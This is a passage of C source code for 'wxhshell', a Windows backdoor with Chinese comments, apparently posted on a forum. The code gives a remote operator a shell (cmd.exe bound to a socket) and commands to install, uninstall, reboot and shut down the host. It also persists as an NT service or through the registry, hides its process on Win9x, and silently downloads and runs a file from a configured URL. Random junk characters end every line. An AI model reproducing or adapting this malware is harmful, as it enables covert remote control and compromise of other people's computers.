  else { 4^ZbT  
u_Xp\RJ  
    switch(cmd[0]) { Hr*xAx  
  2 yRUw  
  // 帮助 j!IkU}*c  
  case '?': { M|UCV_omN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z:A_  
    break; ye4GHAm,p  
  } s =<65  
  // 安装 <4-g2.\  
  case 'i': { {-hu""x>  
    if(Install()) Lv>OBHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wjHH%y  
    else aoGns46Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :bq UA(k  
    break; 7H?lR~w  
    } $Q=S`z=  
  // 卸载 Y,-! QFS#  
  case 'r': { zOYG`:/'  
    if(Uninstall()) Y"TrF(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I.U=%{.  
    else  CxrsP.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ##s :Ww  
    break; EU'P U  
    } "!:)qVL^  
  // 显示 wxhshell 所在路径 {O4&HW%  
  case 'p': { (Y  
    char svExeFile[MAX_PATH]; &pH XSU  
    strcpy(svExeFile,"\n\r"); IB^vEY!`6_  
      strcat(svExeFile,ExeFile); 5 axt\  
        send(wsh,svExeFile,strlen(svExeFile),0); k8,s<m  
    break; \cHF V  
    } $]4o!Z  
  // 重启 N,&bBp  
  case 'b': { }-p-(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !j9(%,PR  
    if(Boot(REBOOT)) f;bVzti+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "J 2v8c  
    else { eRg;)[#0>$  
    closesocket(wsh); pbG v\S F  
    ExitThread(0); k>:\4uI|<\  
    } A" IaFXB  
    break; UGP&&A#T-  
    } D 75;Y;E  
  // 关机 5L,q,kVS  
  case 'd': { ]!2[kA-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (w Q,($@  
    if(Boot(SHUTDOWN)) U}GO* +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Li\b ,_C  
    else { xiF}{25a  
    closesocket(wsh); \\Nt^j3qR  
    ExitThread(0); $I9U.~*  
    }  k.\4<}  
    break; Us3zvpy)o  
    } h3Nbgxa.  
  // 获取shell ~l*[=0}  
  case 's': { 2nSK}q  
    CmdShell(wsh); tZ:fh  p  
    closesocket(wsh); 9 }  ]C  
    ExitThread(0); =27ZY Z  
    break; a4",BDx  
  } m[Qr>="  
  // 退出 o)H| #9h5  
  case 'x': { 4hW:c0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kWgrsN+Z  
    CloseIt(wsh); jIWX6  
    break; 2]H?q!l!O  
    } Rd|^C$6  
  // 离开 r<'B\.#tp>  
  case 'q': { O)`ye5>v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /.(F\2+A  
    closesocket(wsh); 1(jx.W3  
    WSACleanup(); T )bMHk  
    exit(1); x/%/MFK)>8  
    break; gKRlXVS  
        } v5.KCc}"  
  } unyU|B  
  } ZsGJ[  
N^jr  
  // 提示信息 }L>0}H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `r0MQkk  
} }jYVB|2  
  } +KIFLuL  
YyC$\HH6  
  return; K pmq C$  
} *++}ll6  
3GXmyo:o$  
// shell模块句柄 dRBWJ/ 1T  
int CmdShell(SOCKET sock) 7M$cIWe$  
{ i \@a&tw  
STARTUPINFO si; H2CpZK'  
ZeroMemory(&si,sizeof(si)); 'w_Qs~6~{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8 LsJ}c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Om2w+yU  
PROCESS_INFORMATION ProcessInfo; O?iLLfs  
char cmdline[]="cmd"; v R ! y#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KuMH,rXF  
  return 0; ,m5tO  
} Oki{)Ssy  
(.kzJ\x  
// 自身启动模式 I~,bZA  
int StartFromService(void) .v['INK9  
{ Y$W)JWMY`  
typedef struct "MyMByomQ  
{ {}BAQ9|q  
  DWORD ExitStatus; yER  
  DWORD PebBaseAddress; U"L-1]L  
  DWORD AffinityMask; z]!w@:  
  DWORD BasePriority; l _zTpyOZ  
  ULONG UniqueProcessId; |]b,% ?,U  
  ULONG InheritedFromUniqueProcessId; 1?,C d  
}   PROCESS_BASIC_INFORMATION; 8*&YQId~  
WpC9(AX5g  
PROCNTQSIP NtQueryInformationProcess; 5X:3'*  
?)7UqVyq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uz;eY D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N: 5 N}am  
Fp>nu_-"  
  HANDLE             hProcess; ;dTxQ_:  
  PROCESS_BASIC_INFORMATION pbi; AL|3_+G  
rv2;)3/*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f0*_& rP  
  if(NULL == hInst ) return 0; 6+:;M b_S  
=D)ADZ\<r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rnBp2'EM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y /l~R7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %I@ vMs^  
hd)WdGJp  
  if (!NtQueryInformationProcess) return 0; g-cg3Vso  
xp*d:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ZBz]rh*  
  if(!hProcess) return 0; 6Y9<| .  
<|hrmwk|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uFFC.w  
dcfwUjp[  
  CloseHandle(hProcess); {d> 6*b  
@?& i   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l0tFj>q"  
if(hProcess==NULL) return 0; h7AO5"6  
o8S P#ET"n  
HMODULE hMod; HstL'{&,-m  
char procName[255]; }Ggn2 X  
unsigned long cbNeeded; co' qVsOiH  
iDYm4sY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); " +hUt  
i*mI-l  
  CloseHandle(hProcess); \jAI~|3  
,_K:DSiB  
if(strstr(procName,"services")) return 1; // 以服务启动 {*nE8+..A  
Fzz9BEw(i  
  return 0; // 注册表启动 V@K^9R,|  
} P1<McQ  
V>ZDJW"G!  
// 主模块 8yM8O #S  
int StartWxhshell(LPSTR lpCmdLine) IEWl I  
{ H7f  Xg  
  SOCKET wsl; AOx8OiqE:  
BOOL val=TRUE; !. :b}t  
  int port=0; S5~(3I )v  
  struct sockaddr_in door; o%K1!'  
MI~Q Xy,  
  if(wscfg.ws_autoins) Install(); CS0q#?  
;|f]e/El  
port=atoi(lpCmdLine); P#"_H}qC*  
)4H0Bz2G  
if(port<=0) port=wscfg.ws_port; tR_DN  
sR| /s3;  
  WSADATA data; 5xa!L@)`wF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6L2Wv5C  
jI$7vmO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z]j_,3Hff  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o@YEd d  
  door.sin_family = AF_INET; fqn;,!D?9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5"D\n B%  
  door.sin_port = htons(port); ~}Z{hs)  
D c]J3r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~u r}6T  
closesocket(wsl); u Npa2{S'  
return 1; h9 rrkV9  
} s+v$sF  
+\J+?jOC4S  
  if(listen(wsl,2) == INVALID_SOCKET) { d%oHcn  
closesocket(wsl); #?~G\Ux0/  
return 1; 2gnz=  
} P+,YWp  
  Wxhshell(wsl); .GFKy  
  WSACleanup(); !ce,^z&5  
Qk&6Z%  
return 0; _;-b ZH  
/1r {z1pv\  
} t<cWMx5ra  
RMAbu*D0  
// 以NT服务方式启动 1c`Yn:H^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <p[RhP  
{ b+$-f:mj  
DWORD   status = 0; N Q }5'  
  DWORD   specificError = 0xfffffff; 5=;'LWXCJ  
5 gwEr170  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hlj3z3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qtp-w\#S$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x^ sTGd  
  serviceStatus.dwWin32ExitCode     = 0; Rtai?  
  serviceStatus.dwServiceSpecificExitCode = 0; ] .c$(.  
  serviceStatus.dwCheckPoint       = 0; Fh.Z sPn,m  
  serviceStatus.dwWaitHint       = 0; kqLpt  
&y~GTEP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?)4c!3#  
  if (hServiceStatusHandle==0) return; 3UJSK+d\  
Chtls;Ph[  
status = GetLastError(); i.+#a2   
  if (status!=NO_ERROR) S?Uvt?  
{ hy@e(k|S]U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q?# w%0}  
    serviceStatus.dwCheckPoint       = 0; SuA`F|7?P  
    serviceStatus.dwWaitHint       = 0; xGX U7w:X  
    serviceStatus.dwWin32ExitCode     = status; AaJz3oncJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; _u;34H&/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =`wnng5m  
    return; o [nr)  
  } n Ayyjd3!S  
bd`}2vr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; - [7S.  
  serviceStatus.dwCheckPoint       = 0; e'dZ2;X$zo  
  serviceStatus.dwWaitHint       = 0; \eS-wO7%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yzJTNLff  
} '>UQsAvm  
tVAH\*a,/  
// 处理NT服务事件,比如:启动、停止 @. KFWAm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K<"Y4O#]  
{ L(3} H,t  
switch(fdwControl) 5~xv"S(E}  
{ -[>G@m:?e  
case SERVICE_CONTROL_STOP: Evq^c5n>{  
  serviceStatus.dwWin32ExitCode = 0; ~`VD}{[,B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q]z%<`.9*  
  serviceStatus.dwCheckPoint   = 0; YXTd^M~@D  
  serviceStatus.dwWaitHint     = 0; x5!lnN,#  
  {  .KE2sodq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lAhKpdlW  
  } 'M3V#5l)@|  
  return; t0o'_>*?A  
case SERVICE_CONTROL_PAUSE: M\bea  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wTu=v  
  break; __,}/|K2  
case SERVICE_CONTROL_CONTINUE: X:gE mcXc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xq.G vZS`  
  break; j*@EJ"Gm>  
case SERVICE_CONTROL_INTERROGATE: 9rQw~B<S  
  break; )Xd2qbi  
}; l|~SVk|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .k:Uj-&  
} 6R%N jEW:  
MNsgD3  
// 标准应用程序主函数 ? Eh)JJt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mi$*,fz  
{ Ke,$3Yx  
ryoD 1OE  
// 获取操作系统版本 1M/_:UH`  
OsIsNt=GetOsVer(); `1)n2<B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $61*X f+*  
uOnyU+fZV  
  // 从命令行安装 wU bLw  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~:lN("9OI  
_.$g?E/(  
  // 下载执行文件 7Ys\=W1  
if(wscfg.ws_downexe) { ixIfJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \l9S5%L9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]h0K*{  
} b0"R |d[i  
.#$D\cwV  
if(!OsIsNt) { !)TO2?,^  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hze~oAP+  
HideProc(); Ww$ ?X LF  
StartWxhshell(lpCmdLine); (xhV>hsA  
} qT+:oMrTSm  
else 7e D<(  
  if(StartFromService()) "<I*ViZ  
  // 以服务方式启动 dTW3mF4=  
  StartServiceCtrlDispatcher(DispatchTable); $+.!(Js"K  
else pUXszPf  
  // 普通方式启动 $6p|}<u  
  StartWxhshell(lpCmdLine); o{wXq)b  
gXI8$W>  
return 0; $S _VR  
}
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只看该作者 1 发表于: 2006-10-10
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